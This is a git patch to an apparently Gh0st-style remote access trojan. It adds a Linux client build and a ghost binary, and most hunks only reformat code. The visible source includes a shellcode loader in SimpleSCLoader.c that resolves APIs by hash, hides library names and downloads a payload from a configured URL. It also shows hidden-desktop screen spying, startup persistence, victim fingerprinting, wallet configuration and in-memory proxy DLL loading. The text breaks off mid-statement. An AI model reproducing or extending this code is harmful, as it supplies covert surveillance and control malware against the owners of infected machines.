From ab9e73b05592ab5f1dcfcf0228af249014e3f19a Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 8 Feb 2026 18:20:36 +0100 Subject: [PATCH] Feature: Add linux client building option --- client/ClientDll.cpp | 10 +- client/FileManager.cpp | 7 +- client/IOCPBase.h | 2 +- client/IOCPClient.cpp | 4 +- client/IOCPClient.h | 21 +- client/KernelManager.cpp | 63 +- client/KernelManager.h | 9 +- client/LoginServer.cpp | 33 +- client/ScreenCapture.h | 79 +- client/ScreenManager.cpp | 95 +- client/ScrollDetector.h | 20 +- client/SimpleSCLoader.c | 17 +- client/SystemManager.cpp | 19 +- client/reg_startup.c | 6 +- common/IniParser.h | 29 +- common/commands.h | 29 +- common/file_upload.cpp | 36 +- common/file_upload.h | 4 +- common/location.h | 3 +- common/skCrypter.h | 3 +- compress/zlib/zconf.h | 80 +- compress/zlib/zlib.h | 82 +- linux/ScreenHandler.h | 152 +- linux/ghost | Bin 0 -> 5190152 bytes linux/main.cpp | 38 +- server/2015Remote/2015Remote.cpp | 2 +- server/2015Remote/2015Remote.rc | Bin 115722 -> 115956 bytes server/2015Remote/2015RemoteDlg.cpp | 336 +- server/2015Remote/2015RemoteDlg.h | 2 +- server/2015Remote/2015Remote_vs2015.vcxproj | 1 + .../2015Remote_vs2015.vcxproj.filters | 1 + server/2015Remote/BuildDlg.cpp | 42 +- server/2015Remote/CClientListDlg.cpp | 44 +- server/2015Remote/CClientListDlg.h | 85 +- server/2015Remote/CDlgFileSend.cpp | 13 +- server/2015Remote/CRcEditDlg.cpp | 8 +- server/2015Remote/CUpdateDlg.cpp | 22 +- server/2015Remote/CUpdateDlg.h | 18 +- server/2015Remote/Chat.cpp | 2 +- server/2015Remote/FileManagerDlg.cpp | 15 +- server/2015Remote/HideScreenSpyDlg.cpp | 4 +- server/2015Remote/HostInfo.h | 6 +- server/2015Remote/IOCPKCPServer.h | 4 +- server/2015Remote/IOCPServer.cpp | 12 +- server/2015Remote/IOCPServer.h | 4 +- server/2015Remote/InputDlg.cpp | 4 +- server/2015Remote/LangManager.h | 36 +- server/2015Remote/ScreenSpyDlg.cpp | 177 +- server/2015Remote/ScreenSpyDlg.h | 7 +- server/2015Remote/Server.h | 40 +- server/2015Remote/SettingDlg.cpp | 4 +- server/2015Remote/SettingDlg.h | 2 +- server/2015Remote/SplashDlg.h | 2 +- server/2015Remote/SystemDlg.cpp | 9 +- server/2015Remote/ToolbarDlg.cpp | 21 +- server/2015Remote/context.h | 7 +- server/2015Remote/file_server.h | 50 +- server/2015Remote/httplib.h | 13835 +++++++++------- server/2015Remote/lang/en_US.ini | 4 +- server/2015Remote/lang/zh_TW.ini | 4 +- server/2015Remote/proxy/ProxyMapDlg.cpp | 44 +- server/2015Remote/resource.h | 6 +- server/2015Remote/sys/MachineDlg.cpp | 2 +- test/IniParser_test.cpp | 158 +- 64 files changed, 8689 insertions(+), 7185 deletions(-) create mode 100644 linux/ghost diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 409cc0c..858df4c 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -178,9 +178,9 @@ DWORD WaitForMultipleHandlesEx( BOOL CALLBACK callback(DWORD CtrlType) { #ifdef _DEBUG - BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT); + BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT); #else - BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT); + BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT); #endif if (isClose) { g_MyApp.g_bExit = S_CLIENT_EXIT; @@ -497,8 +497,8 @@ DWORD WINAPI StartClient(LPVOID lParam) auto saved_ip = cfg.GetStr("settings", "master"); auto saved_port = cfg.GetInt("settings", "port"); settings.SetServer(saved_ip.c_str(), saved_port); - Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, - int(valid_to-now)); + Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, + int(valid_to-now)); } } auto list = app.GetSharedMasterList(); @@ -544,7 +544,7 @@ DWORD WINAPI StartClient(LPVOID lParam) LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, auth); Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) : new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); - Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID)); + Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID)); while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login)) WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200); WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200); diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 10aadcc..397cf17 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -481,11 +481,14 @@ static bool ShouldSkipDirectory(LPCTSTR lpszName, DWORD dwAttributes) } void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPattern, - LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime) + LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime) { if (!m_bSearching) return; if (nDepth > SEARCH_MAX_DEPTH) return; - if (nResultCount >= SEARCH_MAX_RESULTS) { m_bSearching = false; return; } + if (nResultCount >= SEARCH_MAX_RESULTS) { + m_bSearching = false; + return; + } char strPath[MAX_PATH]; WIN32_FIND_DATA FindFileData; diff --git a/client/IOCPBase.h b/client/IOCPBase.h index 3d4cb1c..75c2984 100644 --- a/client/IOCPBase.h +++ b/client/IOCPBase.h @@ -5,7 +5,7 @@ class IOCPBase public: virtual BOOL IsRunning() const = 0; virtual VOID RunEventLoop(const BOOL& bCondition) = 0; - virtual CONNECT_ADDRESS* GetConnectionAddress() const = 0; + virtual CONNECT_ADDRESS* GetConnectionAddress() const = 0; }; typedef BOOL(*TrailCheck)(void); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 97ae17c..5a51bb5 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -432,9 +432,9 @@ int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) return GetExceptionCode(); } #else - // 非 Windows 平台暂不支持 SEH 异常处理,直接调用 + // 非 Windows 平台暂不支持 SEH 异常处理,直接调用 if (f) f(manager, data, len); - return 0; + return 0; #endif } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 08ea697..23b3158 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -235,21 +235,26 @@ public: return g_bExit; } void SetMultiThreadCompress(int threadNum=0); - std::string GetClientID() const { + std::string GetClientID() const + { return m_conn ? std::to_string(m_conn->clientID) : ""; } - std::string GetPublicIP() const { + std::string GetPublicIP() const + { return m_sLocPublicIP; } - CONNECT_ADDRESS* GetConnectionAddress() const { + CONNECT_ADDRESS* GetConnectionAddress() const + { return m_conn; - } - IOCPManager* GetManager() const { + } + IOCPManager* GetManager() const + { return (IOCPManager*)m_Manager; - } - void* GetMain() const { + } + void* GetMain() const + { return m_main; - } + } protected: virtual int ReceiveData(char* buffer, int bufSize, int flags) { diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index ff83ef1..535a19a 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -195,12 +195,12 @@ typedef int (*RunSimpleTcpFunc)( ); typedef int (*RunSimpleTcpWithTokenFunc)( - const char* token, - const char* serverAddr, - int serverPort, - int localPort, - int remotePort, - int* statusPtr + const char* token, + const char* serverAddr, + int serverPort, + int localPort, + int remotePort, + int* statusPtr ); DWORD WINAPI ExecuteDLLProc(LPVOID param) @@ -253,24 +253,24 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) break; } case CALLTYPE_FRPC_STDCALL: { - RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; - char* user = (char*)dll->param.User; - FrpcParam* f = (FrpcParam*)user; - if (proc) { - Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); - int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, - &CKernelManager::g_IsAppExit); - if (r) { - char buf[100]; - sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); - Mprintf("%s\n", buf); - ClientMsg msg("代理端口", buf); - This->SendData((LPBYTE)&msg, sizeof(msg)); - } - } - SAFE_DELETE_ARRAY(user); - break; - } + RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; + char* user = (char*)dll->param.User; + FrpcParam* f = (FrpcParam*)user; + if (proc) { + Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); + int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, + &CKernelManager::g_IsAppExit); + if (r) { + char buf[100]; + sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); + Mprintf("%s\n", buf); + ClientMsg msg("代理端口", buf); + This->SendData((LPBYTE)&msg, sizeof(msg)); + } + } + SAFE_DELETE_ARRAY(user); + break; + } default: break; } @@ -842,14 +842,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (ulLength > MasterSettingsOldSize) { memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); if (m_settings.Signature[0] && m_LoginSignature.empty()) { - m_LoginSignature = std::string(m_settings.Signature, m_settings.Signature + 64); + m_LoginSignature = std::string(m_settings.Signature, m_settings.Signature + 64); bool verifyMessage(const std::string & publicKey, BYTE * msg, int len, const std::string & signature); bool verified = verifyMessage("", (BYTE*)m_LoginMsg.data(), m_LoginMsg.length(), m_LoginSignature); Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds. Verified: %s\n", ulLength - 1, m_settings.ReportInterval, - verified ? "success" : "failed"); - } - else { - Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); + verified ? "success" : "failed"); + } else { + Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); } iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "wallet", m_settings.WalletAddress); @@ -986,10 +985,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) TerminateProcess(GetCurrentProcess(), 0xABCDEF); } Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile); - } else if(typ == CLIENT_TYPE_ONE){ + } else if(typ == CLIENT_TYPE_ONE) { ULONGLONG size = 0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); - const char* name = "updater.exe"; + const char* name = "updater.exe"; char curFile[_MAX_PATH] = {}; GetModuleFileName(NULL, curFile, MAX_PATH); GET_FILEPATH(curFile, name); @@ -1072,7 +1071,7 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) m_nNetPing.update_from_sample(GetUnixMs() - n.Time); if (n.Authorized == TRUE) { Mprintf("======> Client authorized successfully.\n"); - if (n.IsTrail) return; // Trial version, do not exit + if (n.IsTrail) return; // Trial version, do not exit // Once the client is authorized, authentication is no longer needed // So we can set exit flag to terminate the AuthKernelManager g_bExit = S_CLIENT_EXIT; diff --git a/client/KernelManager.h b/client/KernelManager.h index 0ad6f61..e105650 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -148,9 +148,12 @@ public: static int g_IsAppExit; MasterSettings m_settings; RttEstimator m_nNetPing; // 网络状况 - std::string m_LoginMsg; // 登录消息摘要 - std::string m_LoginSignature; // 登录消息签名 - void SetLoginMsg(const std::string& msg) { m_LoginMsg = msg; } + std::string m_LoginMsg; // 登录消息摘要 + std::string m_LoginSignature; // 登录消息签名 + void SetLoginMsg(const std::string& msg) + { + m_LoginMsg = msg; + } // 发送心跳 virtual int SendHeartbeat() { diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index c5948e5..7627b71 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -48,16 +48,14 @@ std::string getSystemName() vname = "Windows Server 2019"; else vname = "Windows Server 2016"; - } - else { + } else { // Windows 桌面版 if (dwBuildNumber >= 22000) vname = "Windows 11"; else vname = "Windows 10"; } - } - else if (dwMajor == 6) { + } else if (dwMajor == 6) { switch (dwMinor) { case 3: vname = isServer ? "Windows Server 2012 R2" : "Windows 8.1"; @@ -72,8 +70,7 @@ std::string getSystemName() vname = isServer ? "Windows Server 2008" : "Windows Vista"; break; } - } - else if (dwMajor == 5) { + } else if (dwMajor == 5) { switch (dwMinor) { case 2: vname = "Windows Server 2003"; @@ -328,21 +325,21 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne char cpuInfo[32]; sprintf(cpuInfo, "%dMHz", dwCPUMHz); conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); - auto clientID = std::to_string(conn.clientID); + auto clientID = std::to_string(conn.clientID); Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str()); - char reservedInfo[64]; + char reservedInfo[64]; int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN); int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN); - auto list = ScreenCapture::GetAllMonitors(); - sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY); - LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率 - LoginInfor.AddReserved(clientID.c_str()); // 客户端路径 - LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID - char fileSize[32]; - double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0; - double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0; - sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K"); - LoginInfor.AddReserved(fileSize); // 文件大小 + auto list = ScreenCapture::GetAllMonitors(); + sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY); + LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率 + LoginInfor.AddReserved(clientID.c_str()); // 客户端路径 + LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID + char fileSize[32]; + double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0; + double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0; + sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K"); + LoginInfor.AddReserved(fileSize); // 文件大小 return LoginInfor; } diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 8313911..b36564a 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -18,7 +18,8 @@ #include "ScrollDetector.h" #include "common/file_upload.h" -inline bool HasSSE2() { +inline bool HasSSE2() +{ #ifdef _DEBUG return false; #else @@ -35,7 +36,8 @@ public: { for (size_t i = 0; i < numThreads; ++i) { workers.emplace_back([this] { - while (true) { + while (true) + { std::function task; { std::unique_lock lock(this->queueMutex); @@ -253,35 +255,39 @@ public: return m_nScreenCount; } - virtual int GetScreenWidth() const - { - return m_ulFullWidth; - } - virtual int GetScreenHeight() const - { - return m_ulFullHeight; - } - virtual int GetScreenLeft() const { - return m_iScreenX; - } - virtual int GetScreenTop() const { - return m_iScreenY; - } + virtual int GetScreenWidth() const + { + return m_ulFullWidth; + } + virtual int GetScreenHeight() const + { + return m_ulFullHeight; + } + virtual int GetScreenLeft() const + { + return m_iScreenX; + } + virtual int GetScreenTop() const + { + return m_iScreenY; + } - inline int GetVScreenWidth() const - { - return m_nVScreenWidth; - } + inline int GetVScreenWidth() const + { + return m_nVScreenWidth; + } inline int GetVScreenHeight() const - { - return m_nVScreenHeight; - } - inline int GetVScreenLeft() const { - return m_nVScreenLeft; - } - inline int GetVScreenTop() const { - return m_nVScreenTop; - } + { + return m_nVScreenHeight; + } + inline int GetVScreenLeft() const + { + return m_nVScreenLeft; + } + inline int GetVScreenTop() const + { + return m_nVScreenTop; + } virtual bool IsOriginalSize() const { @@ -552,15 +558,18 @@ public: return offset; // 返回缓冲区的大小 } - virtual int GetFrameID() const { + virtual int GetFrameID() const + { return m_FrameID; } - virtual LPBYTE GetFirstBuffer() const { + virtual LPBYTE GetFirstBuffer() const + { return m_FirstBuffer; } - virtual int GetBMPSize() const { + virtual int GetBMPSize() const + { assert(m_BitmapInfor_Send); return m_BitmapInfor_Send->bmiHeader.biSizeImage; } @@ -850,9 +859,9 @@ public: // 如果上一帧是滚动帧,则跳过本帧的滚动检测,发送差分帧来同步可能的误差 // m_nScrollDetectInterval: 0=禁用, 1=每帧, 2=每2帧, ... bool shouldDetectScroll = !keyFrame && algo != ALGORITHM_H264 && - m_bEnableScrollDetect && m_bServerSupportsScroll && m_pScrollDetector && - !m_bLastFrameWasScroll && m_nScrollDetectInterval > 0 && - (m_FrameID % m_nScrollDetectInterval == 0); + m_bEnableScrollDetect && m_bServerSupportsScroll && m_pScrollDetector && + !m_bLastFrameWasScroll && m_nScrollDetectInterval > 0 && + (m_FrameID % m_nScrollDetectInterval == 0); if (shouldDetectScroll) { int scrollAmount = m_pScrollDetector->DetectVerticalScroll(GetFirstBuffer(), nextData); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index e99dec7..598cfa2 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -91,15 +91,15 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan iniFile cfg(CLIENT_PATH); int m_nMaxFPS = cfg.GetInt("settings", "ScreenMaxFPS", 20); m_nMaxFPS = max(m_nMaxFPS, 1); - int threadNum = cfg.GetInt("settings", "ScreenCompressThread", 0); + int threadNum = cfg.GetInt("settings", "ScreenCompressThread", 0); m_ClientObject->SetMultiThreadCompress(threadNum); m_ScreenSettings.MaxFPS = m_nMaxFPS; - m_ScreenSettings.CompressThread = threadNum; + m_ScreenSettings.CompressThread = threadNum; m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0); - m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0); - m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0); - m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", 0); + m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0); + m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0); + m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", 0); m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0); m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧 @@ -216,7 +216,8 @@ BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) // 获取进程名 HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); - if (hProcess) { + if (hProcess) + { char exePath[MAX_PATH]; DWORD size = MAX_PATH; if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { @@ -334,10 +335,10 @@ BOOL IsRunningAsSystem() BOOL CScreenManager::OnReconnect() { - auto duration = GetTickCount64() - m_nReconnectTime; + auto duration = GetTickCount64() - m_nReconnectTime; if (duration <= 3000) Sleep(3000 - duration); - m_nReconnectTime = GetTickCount64(); + m_nReconnectTime = GetTickCount64(); m_SendFirst = FALSE; BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; @@ -530,18 +531,18 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) SwitchScreen(); break; } - case CMD_FULL_SCREEN: { - int fullScreen = szBuffer[1]; - iniFile cfg(CLIENT_PATH); - cfg.SetInt("settings", "FullScreen", fullScreen); - m_ScreenSettings.FullScreen = fullScreen; - break; - } + case CMD_FULL_SCREEN: { + int fullScreen = szBuffer[1]; + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "FullScreen", fullScreen); + m_ScreenSettings.FullScreen = fullScreen; + break; + } case CMD_REMOTE_CURSOR: { - int remoteCursor = szBuffer[1]; - iniFile cfg(CLIENT_PATH); - cfg.SetInt("settings", "RemoteCursor", remoteCursor); - m_ScreenSettings.RemoteCursor = remoteCursor; + int remoteCursor = szBuffer[1]; + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "RemoteCursor", remoteCursor); + m_ScreenSettings.RemoteCursor = remoteCursor; break; } case CMD_MULTITHREAD_COMPRESS: { @@ -549,7 +550,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_ClientObject->SetMultiThreadCompress(threadNum); iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "ScreenCompressThread", threadNum); - m_ScreenSettings.CompressThread = threadNum; + m_ScreenSettings.CompressThread = threadNum; break; } case CMD_SCREEN_SIZE: { @@ -570,9 +571,9 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: break; } - m_ScreenSettings.ScreenStrategy = strategy; - m_ScreenSettings.ScreenWidth = width; - m_ScreenSettings.ScreenHeight = height; + m_ScreenSettings.ScreenStrategy = strategy; + m_ScreenSettings.ScreenWidth = width; + m_ScreenSettings.ScreenHeight = height; break; } case CMD_FPS: { @@ -580,7 +581,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_nMaxFPS = max(m_nMaxFPS, 1); iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "ScreenMaxFPS", m_nMaxFPS); - m_ScreenSettings.MaxFPS = m_nMaxFPS; + m_ScreenSettings.MaxFPS = m_nMaxFPS; break; } case CMD_SCROLL_INTERVAL: { @@ -651,12 +652,12 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) szBuffer[0] = { COMMAND_GET_FOLDER }; memcpy(szBuffer + 1, str.data(), str.size()); SendData(szBuffer, 1 + str.size()); - SAFE_DELETE_ARRAY(szBuffer); + SAFE_DELETE_ARRAY(szBuffer); break; } if (SendClientClipboard(ulLength > 1)) break; - files = GetForegroundSelectedFiles(result); + files = GetForegroundSelectedFiles(result); if (!files.empty()) { char h[100] = {}; memcpy(h, szBuffer + 1, ulLength - 1); @@ -696,10 +697,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) // 发送文件 std::string dir = (char*)(szBuffer + 1); char* ptr = (char*)szBuffer + 1 + dir.length() + 1; - auto files = *ptr ? ParseMultiStringPath(ptr, ulLength - 2 - dir.length()) : std::vector{}; + auto files = *ptr ? ParseMultiStringPath(ptr, ulLength - 2 - dir.length()) : std::vector {}; if (files.empty()) { - BOOL result = 0; - files = GetClipboardFiles(result); + BOOL result = 0; + files = GetClipboardFiles(result); } if (!files.empty() && !dir.empty()) { IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); @@ -830,11 +831,21 @@ std::string GetTitle(HWND hWnd) } // 辅助判断是否为扩展键 -bool IsExtendedKey(WPARAM vKey) { +bool IsExtendedKey(WPARAM vKey) +{ switch (vKey) { - case VK_INSERT: case VK_DELETE: case VK_HOME: case VK_END: - case VK_PRIOR: case VK_NEXT: case VK_LEFT: case VK_UP: - case VK_RIGHT: case VK_DOWN: case VK_RCONTROL: case VK_RMENU: + case VK_INSERT: + case VK_DELETE: + case VK_HOME: + case VK_END: + case VK_PRIOR: + case VK_NEXT: + case VK_LEFT: + case VK_UP: + case VK_RIGHT: + case VK_DOWN: + case VK_RCONTROL: + case VK_RMENU: case VK_DIVIDE: // 小键盘的 / return true; default: @@ -1078,7 +1089,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) } for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : - (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); + (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); INPUT input = { 0 }; input.type = INPUT_MOUSE; @@ -1096,16 +1107,16 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) } // 映射到 0-65535 的绝对坐标空间 - if (m_ScreenSpyObject->GetScreenCount() > 1) { - // 多显示器模式下,必须重新计算 dx, dy 映射到全虚拟桌面空间 - // 且必须带上 MOUSEEVENTF_VIRTUALDESK 标志 - input.mi.dx = ((Point.x - m_ScreenSpyObject->GetVScreenLeft()) * 65535) / (m_ScreenSpyObject->GetVScreenWidth() - 1); - input.mi.dy = ((Point.y - m_ScreenSpyObject->GetVScreenTop()) * 65535) / (m_ScreenSpyObject->GetVScreenHeight() - 1); + if (m_ScreenSpyObject->GetScreenCount() > 1) { + // 多显示器模式下,必须重新计算 dx, dy 映射到全虚拟桌面空间 + // 且必须带上 MOUSEEVENTF_VIRTUALDESK 标志 + input.mi.dx = ((Point.x - m_ScreenSpyObject->GetVScreenLeft()) * 65535) / (m_ScreenSpyObject->GetVScreenWidth() - 1); + input.mi.dy = ((Point.y - m_ScreenSpyObject->GetVScreenTop()) * 65535) / (m_ScreenSpyObject->GetVScreenHeight() - 1); input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE | MOUSEEVENTF_VIRTUALDESK; } else { - input.mi.dx = (Point.x * 65535) / (m_ScreenSpyObject->GetScreenWidth() - 1); - input.mi.dy = (Point.y * 65535) / (m_ScreenSpyObject->GetScreenHeight() - 1); - input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; + input.mi.dx = (Point.x * 65535) / (m_ScreenSpyObject->GetScreenWidth() - 1); + input.mi.dy = (Point.y * 65535) / (m_ScreenSpyObject->GetScreenHeight() - 1); + input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; } } diff --git a/client/ScrollDetector.h b/client/ScrollDetector.h index 968f7c4..2642596 100644 --- a/client/ScrollDetector.h +++ b/client/ScrollDetector.h @@ -159,10 +159,22 @@ public: } } - int GetLastScrollAmount() const { return m_lastScrollAmount; } - int GetWidth() const { return m_width; } - int GetHeight() const { return m_height; } - int GetStride() const { return m_stride; } + int GetLastScrollAmount() const + { + return m_lastScrollAmount; + } + int GetWidth() const + { + return m_width; + } + int GetHeight() const + { + return m_height; + } + int GetStride() const + { + return m_stride; + } private: // Count matching rows for a given scroll amount diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c index 1c23ea3..5b8ce20 100644 --- a/client/SimpleSCLoader.c +++ b/client/SimpleSCLoader.c @@ -8,7 +8,7 @@ struct { int len; int offset; char file[_MAX_PATH]; - char targetDir[_MAX_PATH]; + char targetDir[_MAX_PATH]; char downloadUrl[_MAX_PATH]; } sc = { "Hello, World!" }; @@ -233,7 +233,8 @@ void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAdd return 0; } -char* strstr(const char* h, const char* n) { +char* strstr(const char* h, const char* n) +{ if (!*n) return (char*)h; for (; *h; h++) { const char* p = h, * q = n; @@ -261,8 +262,8 @@ int entry() _CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress); _SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress); _ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress); - _DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress); - _CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress); + _DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress); + _CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress); _CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress); _IsFileExist IsFileExist = (_IsFileExist)get_proc_address_from_hash(kernel32, IsFileExist_Hash, GetProcAddress); @@ -271,14 +272,16 @@ int entry() if (sc.targetDir[0]) { char curExe[MAX_PATH], * p = dstFile, * dir = sc.targetDir; GetModulePath(NULL, curExe, MAX_PATH); - while (*dir) *p++ = *dir++; *p++ = '\\'; - while (*file) *p++ = *file++; *p = '\0'; + while (*dir) *p++ = *dir++; + *p++ = '\\'; + while (*file) *p++ = *file++; + *p = '\0'; char name[] = { 'u','r','l','m','o','n','\0' }; HMODULE urlmon = LoadLibraryA(name); _Download URLDownloadToFileA = urlmon ? (_Download)get_proc_address_from_hash(urlmon, Download_Hash, GetProcAddress) : NULL; if (sc.downloadUrl[0] && IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES && 